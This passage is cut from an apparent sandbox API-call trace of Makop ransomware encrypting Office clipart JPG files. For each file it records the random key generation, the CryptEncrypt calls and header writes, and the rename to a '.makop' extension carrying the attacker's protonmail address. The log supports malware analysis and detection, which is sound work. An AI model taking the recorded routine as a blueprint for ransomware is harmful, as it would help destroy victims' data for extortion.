nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.846] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.846] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.847] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.847] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.847] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.847] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x190e9, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x190e9, lpOverlapped=0x0) returned 1 [0137.850] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x190f0, dwBufLen=0x190f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x190f0) returned 1 [0137.851] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.851] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x190f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x190f0, lpOverlapped=0x0) returned 1 [0137.852] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.852] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x191c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.852] SetEndOfFile (hFile=0xf0) returned 1 [0137.860] GetProcessHeap () returned 0x48a0000 [0137.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.860] GetProcessHeap () returned 0x48a0000 [0137.860] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.860] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.860] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384862.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384862.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.862] CloseHandle (hObject=0xf0) returned 1 [0137.862] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x17b79, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384885.JPG", cAlternateFileName="")) returned 1 [0137.862] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG") returned 63 [0137.862] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.863] GetProcessHeap () returned 0x48a0000 [0137.863] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.863] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.863] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.863] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x7, lpOverlapped=0x0) returned 1 [0137.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.869] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.869] GetProcessHeap () returned 0x48a0000 [0137.869] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.869] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.869] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.869] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.869] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.870] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.871] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.871] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.871] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x17b79, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x17b79, lpOverlapped=0x0) returned 1 [0137.874] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17b80, dwBufLen=0x17b80 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x17b80) returned 1 [0137.875] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.875] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x17b80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x17b80, lpOverlapped=0x0) returned 1 [0137.876] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.876] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.876] SetEndOfFile (hFile=0xf0) returned 1 [0137.884] GetProcessHeap () returned 0x48a0000 [0137.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.884] GetProcessHeap () returned 0x48a0000 [0137.884] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.884] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.884] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384885.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384885.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.887] CloseHandle (hObject=0xf0) returned 1 [0137.887] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14033, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384888.JPG", cAlternateFileName="")) returned 1 [0137.887] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG") returned 63 [0137.887] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.888] GetProcessHeap () returned 0x48a0000 [0137.888] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.888] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.888] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.888] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xd, lpOverlapped=0x0) returned 1 [0137.892] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.892] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.892] GetProcessHeap () returned 0x48a0000 [0137.892] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.892] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.892] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.892] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.892] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.892] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.893] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.893] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.893] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.893] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.893] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.893] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x14033, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x14033, lpOverlapped=0x0) returned 1 [0137.896] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14040, dwBufLen=0x14040 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14040) returned 1 [0137.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14040, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14040, lpOverlapped=0x0) returned 1 [0137.898] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.898] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x14114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.898] SetEndOfFile (hFile=0xf0) returned 1 [0137.906] GetProcessHeap () returned 0x48a0000 [0137.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.906] GetProcessHeap () returned 0x48a0000 [0137.906] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.907] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.907] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384888.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384888.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.908] CloseHandle (hObject=0xf0) returned 1 [0137.908] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x661fae90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd8f6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384895.JPG", cAlternateFileName="")) returned 1 [0137.908] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG") returned 63 [0137.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.910] GetProcessHeap () returned 0x48a0000 [0137.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.910] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.910] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.910] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0137.914] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.914] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.914] GetProcessHeap () returned 0x48a0000 [0137.914] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0137.914] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0137.914] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.914] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0137.914] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0137.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0137.915] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0137.915] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0137.915] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0137.916] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.916] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.916] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.916] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xd8f6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xd8f6, lpOverlapped=0x0) returned 1 [0137.919] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd900, dwBufLen=0xd900 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xd900) returned 1 [0137.920] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.920] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xd900, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xd900, lpOverlapped=0x0) returned 1 [0137.921] CryptDestroyKey (hKey=0x48c7128) returned 1 [0137.921] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd9d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0137.921] SetEndOfFile (hFile=0xf0) returned 1 [0137.928] GetProcessHeap () returned 0x48a0000 [0137.928] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0137.928] GetProcessHeap () returned 0x48a0000 [0137.928] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0137.928] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0137.928] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384895.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384895.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0137.929] CloseHandle (hObject=0xf0) returned 1 [0137.929] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x567be5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11780, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0384900.JPG", cAlternateFileName="")) returned 1 [0137.929] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG") returned 63 [0137.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0384900.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0384900.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0137.932] GetProcessHeap () returned 0x48a0000 [0137.932] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0137.932] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0137.932] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0137.932] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0137.933] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0137.933] GetProcessHeap () returned 0x48a0000 [0137.933] RtlAllocateHeap (HeapHandle=0x48a0000, 